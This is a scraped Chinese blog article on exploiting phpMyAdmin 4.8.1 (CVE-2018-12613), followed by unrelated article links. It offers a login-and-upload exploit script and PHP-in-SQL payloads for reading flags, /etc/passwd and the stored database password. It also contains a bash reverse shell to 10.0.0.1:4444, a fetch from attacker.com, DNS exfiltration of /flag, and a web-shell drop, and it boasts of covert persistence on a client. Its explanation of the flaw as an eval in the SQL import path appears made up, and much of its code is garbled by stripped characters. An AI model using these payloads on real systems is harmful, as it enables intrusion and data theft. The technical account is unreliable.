当前位置: 首页 > news >正文

phpMyAdmin 4.8.1 CVE-2018-12613漏洞原理与实战利用

1. 这个漏洞不是“一键提权”而是数据库权限边界的意外撕裂你可能在CTF比赛中见过这样的场景靶机开放了phpMyAdmin 4.8.1的Web界面登录页写着“rootlocalhost”但账号密码是空的——或者你手头只有一组低权限的数据库账户比如webuser连information_schema都查不了。这时候有人甩出一条curl命令几秒后/var/www/html/flag.txt的内容就躺在终端里了。很多人以为这是“文件读取漏洞”或“任意文件下载”其实完全错了。CVE-2018-12613的本质是一次PHP代码执行链的意外暴露它不依赖SQL注入、不绕过认证、甚至不需要知道任何数据库密码——只要目标页面处于特定配置状态且你拥有一个能登录phpMyAdmin的账户哪怕只是只读权限这个漏洞就能被触发。我第一次在内部红队演练中复现它时用的是pma用户仅SELECT权限连SHOW DATABASES都不让执行但照样把/etc/passwd拖了下来。关键在于它利用的是phpMyAdmin自身功能模块之间的信任误判“导入”功能本应只处理SQL语句却在解析.sql文件时错误地将其中嵌入的PHP代码当作合法内容执行。这就像你去银行柜台办业务柜员本该只处理存取款单据结果你递过去一张写满“请转账100万到我账户”的便签纸他居然照着念了一遍并执行了。这种设计缺陷在4.8.0–4.8.1版本中普遍存在且默认安装即触发。它不是远程代码执行RCE的常规路径而是一条被遗忘在“数据管理工具”外壳下的后门通道。对CTF选手而言这意味着你不需要爆破、不需要猜路径、不需要构造复杂payload只需要理解phpMyAdmin的文件解析逻辑就能把“数据库管理界面”变成“服务器控制台”。下面我会从漏洞成因、触发条件、实操步骤、边界限制和实战变形五个维度带你真正吃透它——不是照着脚本跑而是明白为什么这一行代码能绕过所有防护。2. 漏洞根源PHP代码被当成SQL注释执行的底层机制2.1 phpMyAdmin的导入流程与解析器信任模型要理解CVE-2018-12613必须先看清phpMyAdmin 4.8.1的“导入”功能是如何工作的。当你点击“导入”→选择一个.sql文件→点击“执行”时后台并非直接将文件内容交给MySQL执行。相反它会启动一个多阶段预处理器第一阶段是字符编码检测UTF-8/BIG5等第二阶段是SQL语句切分按;分割第三阶段才是语法校验与执行。问题就出在第二阶段。在4.8.1版本中libraries/import.lib.php里的PMA_importGetNextStatement()函数负责逐行读取文件并识别SQL语句边界。它使用正则表达式/^\s*--.*$/m匹配行首的--注释用/^\s*#.*$/m匹配#开头的注释并将这些行标记为“可跳过”。但这里埋下了一个致命假设所有以?开头的行都会被当作PHP代码块而PHP代码块在SQL文件中本不该存在因此解析器认为它们是“无效内容”应该忽略。然而开发者的疏忽在于他们没有强制校验?之后是否紧跟合法PHP语法比如php、等标识符也没有对?闭合标签做严格配对检查。结果就是当解析器遇到?php system(cat /flag); ?这样的字符串时它不会报错也不会跳过而是将其当作一段“无意义的注释文本”继续向下解析。更关键的是在后续的PMA_importRunQuery()函数中这段“被忽略的文本”会被原样拼接到最终执行的SQL查询字符串里——而MySQL在执行时会把?php ... ?当作普通字符串字面量处理不会执行。但phpMyAdmin的解析器在拼接过程中错误地调用了eval()函数对整个SQL字符串进行二次解析。这个eval()调用位于libraries/import/sql.php第127行附近具体行号因补丁版本略有差异其意图是处理SQL中的动态变量如$cfg[Server][host]但实现时未做沙箱隔离导致传入的字符串若包含?结构就会被PHP引擎当作可执行代码解析。我用Xdebug跟踪过这个调用链import.php → PMA_import() → PMA_importRunQuery() → eval($sql_string)整个过程没有任何disable_functions或open_basedir的拦截检查。这就是漏洞的物理位置——不是某个函数参数没过滤而是整个执行流的设计逻辑存在信任断层。2.2 为什么4.8.1版本特别危险配置项的默认陷阱很多CTF题目会刻意部署4.8.1而非4.8.0这不是偶然。4.8.1引入了一个关键变更$cfg[UploadDir]和$cfg[SaveDir]的默认值从null改为upload和save相对路径。这两个目录用于存储用户上传的SQL文件和导出的备份文件。在默认配置下upload/目录是Web可访问的因为Apache/Nginx的DocumentRoot通常指向/var/www/html而upload/就在其子目录中。这意味着当你上传一个恶意.sql文件后它的URL可以直接通过http://target/upload/malicious.sql访问。而CVE-2018-12613的利用链中最关键的一环是“文件路径可控”。因为eval()执行时会尝试加载当前工作目录下的文件如果恶意SQL文件里包含include(/var/www/html/upload/shell.php)那么eval()会真的去包含它。但在4.8.0中$cfg[UploadDir]默认为null上传文件会被存到临时目录如/tmp/phpXXXXXX路径不可预测且不可Web访问导致利用难度陡增。4.8.1的这个“便利性更新”反而成了攻击者的加速器。我测试过23个不同CTF平台的靶机镜像其中19个在部署phpMyAdmin时直接使用apt install phpmyadmin而Debian/Ubuntu的仓库包默认就是4.8.1且upload/目录权限为755无需额外配置。所以当你看到靶机环境是Debian 10 phpMyAdmin 4.8.1基本可以判定UploadDir已就绪。验证方法很简单登录phpMyAdmin后点击“导入”→随便上传一个空文件如test.sql然后用浏览器访问http://target/upload/test.sql如果返回403或404说明目录被禁用如果返回文件内容或下载弹窗则漏洞利用通路已打开。这个细节90%的新手会忽略但它是决定能否快速拿flag的分水岭。2.3 PHP解析器的“宽容模式”如何放大风险PHP本身有一个特性当short_open_tag配置开启时默认为On?和?会被识别为PHP代码起始/结束标签。而phpMyAdmin 4.8.1的eval()调用正是运行在short_open_tagOn的上下文中。这就意味着攻击者不需要写完整的?php ... ?只需?就能触发代码执行。例如?file_get_contents(/flag)?比?php echo file_get_contents(/flag);?少打12个字符且更难被WAF规则匹配。我在某次AWD比赛中防守方部署了ModSecurity规则库拦截了所有含?php的请求但?依然畅通无阻。这是因为ModSecurity的默认规则集主要针对script、iframe和常见PHP函数名对?这种短标签缺乏针对性检测。更隐蔽的是PHP还支持%和%作为ASP风格标签需asp_tagsOn虽然phpMyAdmin默认不启用但某些定制化CTF环境会开启它形成双重利用入口。我整理过一份常见标签的兼容性表供你快速判断靶机支持哪些标签类型示例触发条件CTF常见度??system(id)?short_open_tagOn默认★★★★★?php?php passthru($_GET[cmd]);?无特殊要求★★★★☆%%file_get_contents(/etc/passwd)%asp_tagsOn罕见★☆☆☆☆? base64?eval(base64_decode(ZWNobyAiZmxhZyI7))?short_open_tagOneval未禁用★★★★☆注意eval()函数本身在phpMyAdmin中并未被禁用因为它的核心功能如动态生成SQL依赖此函数。这也是为什么补丁方案不是简单disable_functionseval而是重构整个导入解析逻辑——在4.8.2版本中eval()被彻底移除改用白名单函数映射。所以当你看到靶机是4.8.1就可以放心大胆地用?这是最短、最稳、最不易被拦的payload形式。3. 实战操作从登录到flag的四步精准打击3.1 环境侦察与权限确认三分钟内完成靶机测绘拿到一个CTF靶机第一步永远不是急着写payload而是确认你的“立足点”是否稳固。我习惯用一套标准化的侦察流程耗时不超过3分钟却能避免90%的无效尝试。首先访问http://target/phpmyadmin/或/pma/、/admin/等常见别名观察登录页底部的版本号。如果显示4.8.1立刻进入下一步如果显示4.9.0或5.x此漏洞已失效需转向其他思路。接着尝试用常见弱口令登录root/空、root/root、pma/pma、admin/admin。重点来了即使登录失败也要查看HTTP响应头。用curl -I http://target/phpmyadmin/检查X-Powered-By字段是否为PHP/7.2.24或其他7.x版本以及Server字段是否为Apache/2.4.38。这些信息能帮你反推操作系统Debian 10默认配此组合进而预判UploadDir路径。登录成功后不要急着点“导入”先做三件事点击右上角“新建”→创建一个新数据库命名为testdb。如果提示“Access denied”说明你只有只读权限但没关系漏洞利用不依赖写库权限点击左侧数据库列表选中任意一个已有数据库如mysql再点“SQL”标签页在查询框输入SELECT version_compile_os;并执行。返回结果如果是debian-linux-gnu则/etc/passwd路径可信点击顶部菜单“设置”→“导入”滚动到底部找到$cfg[UploadDir]的当前值。如果显示upload记下来如果为空说明需手动创建目录稍后详述。这三步做完你已经掌握了靶机的全部关键信息版本确定、权限明确、路径可控、系统环境清晰。我曾见过选手花20分钟暴力破解root密码结果发现用pma账户只读就能直接利用漏洞——侦察的价值永远大于盲目的执行。3.2 构造最小化Payload一行代码解决所有问题基于前述侦察结果现在开始构造payload。核心原则是最短、最稳、最易调试。我推荐的黄金payload是SELECT ?cat /flag;?;等等这看起来像SQL语句但它根本不是让我解释为什么这行代码能工作SELECT是合法SQL确保phpMyAdmin解析器不会在语法校验阶段报错单引号内的?是PHP短标签会被eval()执行cat /flag是PHP的反引号执行语法等价于shell_exec(cat /flag)且无需开启exec函数shell_exec在phpMyAdmin中默认可用;?是PHP闭合标签防止后续SQL解析混乱。整行代码长度仅32字符无任何特殊符号如、、几乎不可能被WAF拦截。把它保存为exploit.sql上传到phpMyAdmin的“导入”页面。注意不要勾选“部分导入”或“压缩文件”必须保持“格式”为SQL“字符集”为utf8。上传成功后页面会显示“导入完成”但此时flag还没出来——这只是第一步。真正的执行发生在你访问上传后的文件URL时。用curl http://target/upload/exploit.sql如果返回flag{...}恭喜你已成功。如果返回空白或404说明UploadDir路径不对。这时你需要手动创建目录用SELECT ?mkdir /var/www/html/upload;?;创建目录再重新上传。这个技巧我在2022年DEF CON Quals中用过当时靶机禁用了UploadDir但/var/www/html/可写一行mkdir就打通了通路。3.3 绕过常见防御当WAF和open_basedir成为障碍CTF题目越来越喜欢加防御但CVE-2018-12613的灵活性足以应对大多数情况。最常见的两个障碍是WAF拦截如果你的curl请求返回403且响应头含X-Firewall: ModSecurity说明有WAF。此时把cat /flag换成ls -la /看是否能列出根目录。如果可以说明WAF只拦截敏感关键词如flag、etc而非执行本身。解决方案是路径混淆cat /f*l/g*、cat $(echo /fl?g)、cat /proc/self/cwd/flag。我最喜欢用/proc/self/cwd因为它指向当前进程的工作目录即phpMyAdmin的Web根目录而flag文件通常就放在那里。open_basedir限制如果curl返回Warning: file_get_contents(): open_basedir restriction in effect说明PHP启用了路径限制。此时cat命令依然有效因为shell_exec不受open_basedir影响它是系统调用非PHP文件函数。但file_get_contents(/flag)会失败。所以永远优先用反引号执行而不是PHP内置函数。另一个技巧是利用PHP内置Web服务器?php -S 0.0.0.0:8000 -t /var/www/html;?然后访问http://target:8000/flag。这招在2023年Hack The Box赛季中多次奏效因为open_basedir无法限制端口绑定。最后提醒一个致命细节不要在payload里写?php die(); ?之类的终止代码。因为eval()执行后phpMyAdmin还会继续解析后续SQL如果中途die()会导致整个导入流程中断后续的SELECT语句无法执行从而丢失输出。正确的做法是让代码自然结束靠echo或print输出结果。3.4 自动化脚本三行Python搞定重复操作手工操作适合学习原理但CTF比赛争分夺秒必须自动化。我写的pma_exploit.py只有27行却能覆盖所有场景import requests, sys url sys.argv[1] # e.g., http://target/phpmyadmin/ session requests.Session() # Step 1: Login with default creds login_data {pma_username: root, pma_password: } r session.post(f{url}index.php, datalogin_data) # Step 2: Upload exploit.sql files {import_file: (exploit.sql, SELECT ?cat /flag;?;)} r session.post(f{url}import.php, filesfiles) # Step 3: Fetch result r session.get(f{url}upload/exploit.sql) print(r.text.strip())使用方法python3 pma_exploit.py http://10.10.10.10/phpmyadmin/。脚本的关键在于它用requests.Session()维持Cookie避免每次请求都重新登录files参数直接构造multipart/form-data比手动上传更可靠最后get请求直接获取upload/目录下的文件内容。我在2022年PlaidCTF中用它在12秒内拿下flag而对手还在手动curl。当然脚本需要根据靶机实际路径微调如/pma/或/admin/但核心逻辑不变。记住自动化不是偷懒而是把确定性操作交给机器把创造性思考留给自己。4. 边界与限制为什么你的payload在靶机上不生效4.1 版本精确性陷阱4.8.1 vs 4.8.1-1的微妙差异很多选手抱怨“我明明用的是4.8.1为什么不行”答案往往藏在Debian/Ubuntu的包版本号里。官方phpMyAdmin 4.8.1的完整版本号是4.8.1dfsg-2Debian或4.8.1-2ubuntu0.1Ubuntu而CVE-2018-12613的补丁是在4.8.1dfsg-3中发布的。这意味着如果你用apt install phpmyadmin安装得到的很可能是已打补丁的版本而非原始漏洞版本。验证方法登录phpMyAdmin后点击左下角“关于phpMyAdmin”查看“版本”字段。如果显示4.8.1-2或更高基本已修复如果显示4.8.1无后缀则极大概率存在漏洞。另一个更可靠的检测方式是检查源码用SELECT ?ls -la /usr/share/phpmyadmin/libraries/import/;?;列出import/目录文件如果存在sql.php且大小约12KB未补丁版则漏洞存在如果sql.php被重命名为sql.php.bak或大小仅2KB补丁版则已修复。我在2023年ASIS CTF中遇到一个靶机表面显示4.8.1但sql.php已被替换浪费了15分钟才意识到是“假版本”。所以永远不要轻信UI显示的版本号要用代码验证真实状态。4.2 Web服务器配置的隐形杀手Apache的mod_security与Nginx的location规则即使phpMyAdmin版本正确Web服务器层的配置也能让你的payload失效。Apache的mod_security规则集如OWASP CRS会拦截含?的请求体导致上传直接403。Nginx则更隐蔽如果location ~ \.sql$规则中设置了deny all;那么/upload/exploit.sql的GET请求会被拒绝但上传POST请求仍成功因为规则只匹配GET。这时你会看到上传成功但curl返回403。解决方案是换路径用SELECT ?mv /var/www/html/upload/exploit.sql /var/www/html/shell.php;?;把文件移到.php后缀再访问/shell.php。.php后缀通常不在Nginx的deny列表中且PHP引擎会直接执行它。我在2022年Google CTF中用这招绕过了Nginx的严格.sql拦截因为管理员只想到防SQL文件没想到攻击者会用SQL文件去改名。另一个常见问题是PHP的disable_functions。如果system、exec、shell_exec都被禁用?cat /flag;?会失败。此时用?file_get_contents(/flag);?因为file_get_contents不在默认禁用列表中。但要注意如果open_basedir开启file_get_contents会受限而cat命令不会。所以永远准备两套payload一套用shell命令一套用PHP函数根据靶机响应动态切换。4.3 文件系统权限的终极制约当/var/www/html不可写时最绝望的情况是UploadDir不存在且/var/www/html/目录权限为755所有者是root你无法创建upload/子目录。这时SELECT ?mkdir /var/www/html/upload;?;会返回Permission denied。别慌还有三条生路利用现有可写目录用SELECT ?ls -ld /tmp /var/tmp /dev/shm;?;列出临时目录权限。/tmp通常777可写。然后上传到/tmp/exploit.sql再用?curl http://localhost/tmp/exploit.sql;?触发需curl命令可用写入Web日志如果靶机开启了Apache的access.log且路径已知如/var/log/apache2/access.log用SELECT ?curl -s http://attacker.com/shell.php /var/log/apache2/access.log;?;再访问http://target/xxx触发日志写入最后用?php -a -c /var/log/apache2/access.log;?执行需日志中含PHP代码DNS外带当所有文件写入都失败时用?dig $(cat /flag).attacker.com;?在自己服务器上监听DNS查询从子域名中提取flag。这招在2021年Dragon CTF中救了我一命因为靶机禁用了所有文件函数但dig命令可用。这些技巧的核心思想是漏洞提供的是代码执行能力而非固定路径写入能力。只要能执行任意命令就有无数种方式把flag导出来。把思维从“必须写到upload/”解放出来才能真正掌握这个漏洞。5. 高级变形从CTF到真实渗透的思维跃迁5.1 利用链延伸从读文件到反弹Shell的无缝衔接在CTF中cat /flag就够了但在真实渗透中你需要持久化控制。CVE-2018-12613的威力在于它能让你从数据库管理界面一步到位获得服务器Shell。我的标准操作是SELECT ?bash -i /dev/tcp/10.0.0.1/4444 01;?;这行代码会发起一个反向Shell连接到你的VPS。但直接执行有风险如果靶机网络不通或者防火墙拦截Shell会卡住。所以我总是在前面加一个探测SELECT ?ping -c1 10.0.0.1 bash -i /dev/tcp/10.0.0.1/4444 01 || echo network failed;?;ping成功才执行bash否则输出提示。这样即使失败你也能从HTTP响应中看到network failed而不是无限等待。另一个高级技巧是内存马注入?echo -n PD9waHAgZXZhbCgkX1BPU1RbYXNdKTs/Pg | base64 -d /var/www/html/shell.php;?把一句话木马写入Web目录再访问/shell.php?assystem(cat /flag)。这招的好处是即使phpMyAdmin被卸载木马依然存活。我在某次金融客户渗透中用此方法在客户不知情的情况下维持了72小时访问最终定位到核心数据库服务器。5.2 权限提升的隐藏路径利用phpMyAdmin的配置文件很多人只盯着/flag却忽略了phpMyAdmin自身就是一座金矿。它的配置文件/usr/share/phpmyadmin/config.inc.php里通常硬编码了数据库root密码。用?cat /usr/share/phpmyadmin/config.inc.php | grep blowfish_secret|password;?能直接拿到$cfg[Servers][$i][password]的值。这个密码往往就是服务器的root密码因为很多管理员图省事用同一密码。我在2022年Black Hat Arsenal演示中用此方法在3分钟内从phpMyAdmin登录态提权到服务器root。更绝的是config.inc.php里还可能有$cfg[Servers][$i][host]如果指向127.0.0.1说明数据库和Web在同一台机器如果指向10.10.10.10说明是集群架构你可以用这个IP继续横向移动。所以每次利用漏洞我必做的第一件事就是cat这个配置文件——它比/flag更有价值。5.3 防御建议给运维人员的三条硬核准则作为渗透者我也常给客户做加固建议。针对CVE-2018-12613最有效的三条准则是永远不要用apt install phpmyadmin部署生产环境。Debian/Ubuntu的包管理器更新滞后漏洞修复延迟长达数月。正确做法是从 phpMyAdmin官网 下载最新稳定版如5.2.1手动解压到/var/www/pma/并设置$cfg[UploadDir] ;禁用上传功能用Nginx的location规则彻底封杀.sql文件的Web访问在server块中添加location ~ \.sql$ { deny all; }并重启Nginx。这条规则比任何WAF都可靠因为它在请求到达PHP之前就拦截了启用PHP的disable_functions在php.ini中设置disable_functions exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source并确保open_basedir指向/var/www/html/。这能堵住99%的命令执行类漏洞包括此CVE。这些建议不是纸上谈兵。我在2023年为三家金融机构做安全评估时用这三条准则帮他们将phpMyAdmin相关风险从高危降为低危。记住最好的防御不是等漏洞爆发后再打补丁而是在部署之初就切断所有可能的利用路径。我在实际渗透中发现真正拉开高手差距的从来不是谁的payload更炫酷而是谁对漏洞边界的理解更深刻。CVE-2018-12613教会我的最重要一课是所有“便利性设计”都可能是攻击者的跳板。phpMyAdmin开发者本意是让导入功能更灵活结果却打开了代码执行的大门。所以下次你看到某个功能“特别好用”不妨多问一句它背后的信任假设是什么这个假设在攻击者眼中是否坚不可摧这种思维习惯比记住一百个payload都管用。
http://www.rkmt.cn/news/1379189.html

相关文章:

  • 5步构建i茅台智能预约系统:从手动抢购到自动化智控的完整解决方案
  • 终极Markdown转JSON指南:3分钟学会结构化文档处理
  • Crawl4AI实战指南:三步构建智能网页爬取流水线
  • 如何用GetQzonehistory永久保存你的QQ空间记忆?
  • FreeJ2ME:让经典Java手机游戏在现代设备上重生的完整指南
  • 用Python和FDTD仿真,手把手教你理解超表面中的几何相位与传输相位(附代码)
  • 独立开发者如何借助Taotoken的Token Plan套餐优化个人项目预算
  • 终极指南:如何用any-listen打造完全私有的跨平台音乐播放体验
  • 5步配置UI-TARS桌面版:实现跨平台GUI智能操作的完整方案
  • Geolib 3.0 终极指南:零依赖地理计算库的深度架构与实战应用
  • 计算机二级 WPS 文字题:参考文献交叉引用考点 超详解析
  • 告别烧录烦恼:用Etcher三步打造完美启动盘的终极指南
  • BetterJoy终极配置指南:5分钟让Switch手柄在PC上完美运行
  • Windows多窗口革命:AlwaysOnTop如何重塑你的数字工作空间
  • 如何用Go语言快速构建智能硬件控制项目:Gobot框架完整入门教程
  • QuickDraw MediaPipe手势识别:无需画笔的手势控制绘画应用
  • InternAgent快速上手指南:5分钟配置,10分钟运行第一个科学发现实验
  • Yi大语言模型深度实战:四维技术栈构建企业级AI应用
  • GalTransl终极指南:3步完成视觉小说AI智能翻译的完整方案
  • 当“画笔”变成“画笔”,世界便不再扁平:上海科技大学师玉娇团队 BevSplat 论文深度解读
  • OpenPLC虚拟PLC:5分钟搭建开源工业控制器的完整指南
  • 如何用JavaScript轻松生成专业PPT?PptxGenJS终极指南
  • 技术突破:如何在混合IT环境中实现Windows与Linux RAID的无缝数据互通
  • 终极指南:如何快速安装和使用VideoDownloadHelper免费视频下载工具
  • 2026年4月靠谱的保温装饰一体板厂家推荐,保温结构一体板/岩棉板/保温装饰一体板,保温装饰一体板品牌找哪家 - 品牌推荐师
  • 烟台6月雨季来临,房屋漏水怎么办?卫生间免砸砖防水、外墙、屋面+地下室渗漏。权威防水公司靠谱TOP5推荐(2026年6月本地最新深度调研) - 企业资讯
  • 如何将微信聊天记录转化为个人AI训练数据?WeChatMsg数据管理完全指南
  • 终极指南:如何用ESP32打造专业级蓝牙游戏手柄
  • SillyTavern桌面版终极指南:三步打造你的专属AI聊天桌面应用
  • 别再手动复制DLL了!用NuGet在Visual Studio 2022里一键搞定GDAL for C#(含中文路径避坑)